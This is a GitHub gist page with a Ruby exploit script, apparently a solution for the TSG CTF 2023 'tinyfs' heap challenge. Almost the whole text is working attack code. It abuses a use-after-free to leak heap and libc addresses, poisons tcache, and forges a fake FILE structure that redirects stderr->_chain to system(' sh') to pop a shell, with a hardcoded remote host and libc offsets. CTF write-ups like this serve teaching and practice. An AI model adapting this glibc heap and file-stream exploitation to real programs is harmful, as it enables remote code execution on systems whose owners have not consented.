-
-
Save Charo-IT/633bca51daac2e9c31ee25f3ab614e5f to your computer and use it in GitHub Desktop.
TSG CTF 2023 - tinyfs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding:ascii-8bit | |
require "pwnlib" # https://github.com/Charo-IT/pwnlib | |
class PwnTube | |
def recv_until_prompt | |
recv_until("$ ") | |
end | |
end | |
class Exploit | |
attr_reader :tube, :host, :port | |
attr_reader :offset, :got, :libc_offset | |
def initialize(remote) | |
@remote = remote | |
if remote? | |
@host, @port = "34.146.195.242 31415".split | |
else | |
@host = "localhost" | |
@port = 11111 | |
end | |
@port = @port&.to_i | |
@libc_offset = { | |
"main_arena" => 0x1f6c80, | |
"_IO_wfile_jumps" => 0x1f3240, | |
"system" => 0x4ebf0, | |
"stdout" => 0x1f7780, | |
} | |
@offset = { | |
} | |
@got = { | |
} | |
end | |
def remote? | |
@remote | |
end | |
def mkdir(name) | |
tube.recv_until_prompt | |
tube.sendline("mkdir #{name}") | |
end | |
def touch(name) | |
tube.recv_until_prompt | |
tube.sendline("touch #{name}") | |
end | |
def cd(name) | |
tube.recv_until_prompt | |
tube.sendline("cd #{name}") | |
end | |
def rm(name) | |
tube.recv_until_prompt | |
tube.sendline("rm #{name}") | |
end | |
def ls | |
tube.recv_until_prompt | |
tube.sendline("ls") | |
end | |
def cat(name) | |
tube.recv_until_prompt | |
tube.sendline("cat #{name}") | |
end | |
def mod(name, data) | |
tube.recv_until_prompt | |
tube.sendline("mod #{name}") | |
tube.recv_until("Write Here > ") | |
tube.sendline(data) | |
end | |
def run | |
PwnTube.open(host, port){|t| | |
@tube = t | |
puts "[*] leak heap base" | |
mkdir("dir1") | |
cd("dir1") | |
touch("file1") | |
mkdir("dir2") | |
cd("/dir1/dir2") | |
cd("..") | |
cd("..") | |
rm("dir1") | |
cd("/dir1/dir2") | |
cd("..") | |
cat("file1") | |
heap_base = tube.recv_capture(/(.{5})\n/m)[0].ljust(16, "\0").unpack("Q")[0] << 12 | |
puts "heap base = 0x%x" % heap_base | |
puts "[*] get tcache control" | |
cd("dir2") | |
touch("file2") | |
touch("file3") | |
rm("file3") | |
rm("file2") | |
cd("..") | |
mod("file2", [(heap_base + 0x30) ^ ((heap_base + 0x700) >> 12)].pack("Q")) | |
cd("..") | |
touch("file4") | |
touch("tcache") | |
puts "[*] leak libc base" | |
mkdir("dir3") | |
cd("dir3") | |
mkdir("dir4") | |
cd("/dir3/dir4") | |
cd("..") | |
touch("file5") # victim | |
cd("..") | |
touch("file6") | |
touch("file7") | |
touch("file8") | |
touch("file9") | |
payload = "" | |
payload << [0, 1, 0, 0].pack("S*") | |
payload << "\0" * 0xe0 | |
payload << [heap_base + 0xfe0].pack("Q") | |
mod("tcache", payload) | |
touch("victimsize") | |
mod("victimsize", [0, 0x4c1].pack("Q*")) | |
rm("dir3") | |
cd("/dir3/dir4") | |
cd("..") | |
cat("file5") | |
libc_base = tube.recv_capture(/(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x60 | |
puts "libc base = 0x%x" % libc_base | |
puts "[*] prepare for fsop" | |
cd("..") | |
payload = "".ljust(0xe8, "\0").tap{|a| | |
a[0, 8] = " sh".ljust(8, "\0") | |
a[0x28, 8] = [1].pack("Q") | |
a[0x68, 8] = [libc_base + libc_offset["system"]].pack("Q") | |
a[0xa0, 8] = [heap_base + 0x1120].pack("Q") | |
a[0xd8, 8] = [libc_base + libc_offset["_IO_wfile_jumps"]].pack("Q") | |
a[0xe0, 8] = [heap_base + 0x1120].pack("Q") | |
} | |
mod("file6", payload) | |
puts "[*] overwrite stderr->_chain" | |
payload = "" | |
payload << [0, 1, 0, 0].pack("S*") | |
payload << "\0" * 0xe0 | |
payload << [libc_base + libc_offset["stdout"] + 0x60].pack("Q") | |
mod("tcache", payload) | |
touch("fsop") | |
mod("fsop", [0, heap_base + 0x1120].pack("Q*")) | |
puts "[*] launch shell" | |
tube.recv_until_prompt | |
tube.sendline("exit") | |
tube.interactive | |
} | |
end | |
end | |
Exploit.new(ARGV[0] == "r").run |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment